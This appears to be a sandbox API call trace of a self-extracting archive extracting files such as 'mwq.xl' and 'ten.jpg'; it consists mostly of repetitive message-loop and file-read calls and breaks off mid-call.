[0068.345] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.345] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.345] GetTickCount () returned 0x1fb3f [0068.345] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.345] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.345] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.345] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.345] GetTickCount () returned 0x1fb3f [0068.345] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.345] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.346] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.346] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.346] GetTickCount () returned 0x1fb3f [0068.346] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.346] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.346] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.346] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.346] GetTickCount () returned 0x1fb3f [0068.346] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.346] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.347] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.347] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.347] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.347] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.347] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.347] GetTickCount () returned 0x1fb4e [0068.347] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.347] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.347] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.347] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.347] GetTickCount () returned 0x1fb4e [0068.347] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.347] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.347] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.347] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.347] GetTickCount () returned 0x1fb4e [0068.347] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.347] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.347] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.347] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.347] GetTickCount () returned 0x1fb4e [0068.347] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.347] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.347] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.347] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.347] GetTickCount () returned 0x1fb4e [0068.347] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.347] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.347] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.347] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.347] GetTickCount () returned 0x1fb4e [0068.347] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.347] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.348] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.348] GetTickCount () returned 0x1fb4e [0068.348] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.348] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.348] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.349] GetTickCount () returned 0x1fb4e [0068.349] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.349] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.349] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.349] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.350] GetTickCount () returned 0x1fb4e [0068.350] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.350] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.350] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.350] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.350] GetTickCount () returned 0x1fb4e [0068.350] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.350] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.350] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.350] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.350] GetTickCount () returned 0x1fb4e [0068.350] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.350] ReadFile (in: hFile=0x1c, lpBuffer=0x270423, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270423*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.350] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.350] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.350] GetTickCount () returned 0x1fb4e [0068.350] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.350] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x1f9, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x1f9, lpOverlapped=0x0) returned 1 [0068.351] GetTickCount () returned 0x1fb4e [0068.351] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.351] SetFilePointer (in: hFile=0x1c, lDistanceToMove=869274, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd439a [0068.351] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.351] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.351] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.351] CloseHandle (hObject=0x138) returned 1 [0068.352] SetFileAttributesA (lpFileName="mwq.xl", dwFileAttributes=0x20) returned 1 [0068.352] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd439a [0068.352] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.352] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.352] OemToCharA (in: pSrc="ten.jpg", pDst=0x179cc0 | out: pDst="ten.jpg") returned 1 [0068.352] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="ten.jpg", cchCount2=1) returned 1 [0068.352] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="ten.jpg", cchCount2=6) returned 1 [0068.353] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="ten.jpg", cchCount2=-1) returned 1 [0068.353] SetFilePointer (in: hFile=0x1c, lDistanceToMove=869318, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd43c6 [0068.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="ten.jpg") returned 8 [0068.353] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.353] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting ten.jpg") returned 18 [0068.353] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting ten.jpg") returned 1 [0068.353] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.353] OemToCharBuffA (in: lpszSrc="t", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="t") returned 1 [0068.353] CharToOemBuffA (in: lpszSrc="T", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="T") returned 1 [0068.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="ten.jpg") returned 8 [0068.353] FindFirstFileW (in: lpFileName="ten.jpg", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.353] GetLastError () returned 0x2 [0068.353] GetFileAttributesA 